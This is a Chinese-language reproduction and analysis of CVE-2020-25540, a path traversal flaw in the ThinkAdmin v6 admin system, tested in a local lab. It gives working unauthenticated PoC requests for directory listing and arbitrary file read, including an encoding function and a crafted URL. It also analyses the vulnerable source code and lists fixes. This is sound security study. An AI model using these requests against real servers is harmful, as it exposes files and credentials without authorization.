ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。
漏洞编号CVE-2020-25540
ThinkAdmin6版本存在路径遍历漏洞。
该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。
ThinkAdmin版本小于 ≤ 2020.08.03.01
环境:phpStudy+ThinkAdmin_v6
使用Composer命令进行安装
1、设置阿里云 Composer 代理
由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理
composer config -g repo.packagist composer https:
2、下载应用代码(别人fork的老版本)
3、安装依赖组件
进入ThinkAdmin目录,运行指令安装依赖组件
cd ThinkAdmin
composer install
如未成功,查看官方安装文档:
https://thinkadmin.top/install
1、
列目录
POC:
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1
Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
|
2、
任意文件读取
在根目录下创建文件1.txt,内容为
lalalaa
使用以下加密函数对1.txt文件名进行加密
function encode($content)
{
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}
得到数据加密数据
1d1a383c38
访问下面链接即可读取到1.txt(读其他文件同理)
http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38
1、列目录
分析
函数node()
public function node()
{
$this->success('获取文件列表成功!', InstallService::instance()->getList(
json_decode($this->request->post('rules', '[]', ''), true),
json_decode($this->request->post('ignore', '[]', ''), true)
));
}
读一下函数是把post传过来的rules和ignore参数给getlist()函数
看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules
然后进到getlist(),循环读取改目录下的所有文件
然后就返回出来了
2、任意文件读取分析
函数get()
public function get()
{
if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) {
$this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]);
} else {
$this->error('读取文件内容失败!');
}
}
这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边
2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。
1.升级到2020.08.03.01之后的版本
2.官方给的临时解决办法
https://github.com/zoujingli/ThinkAdmin/issues/244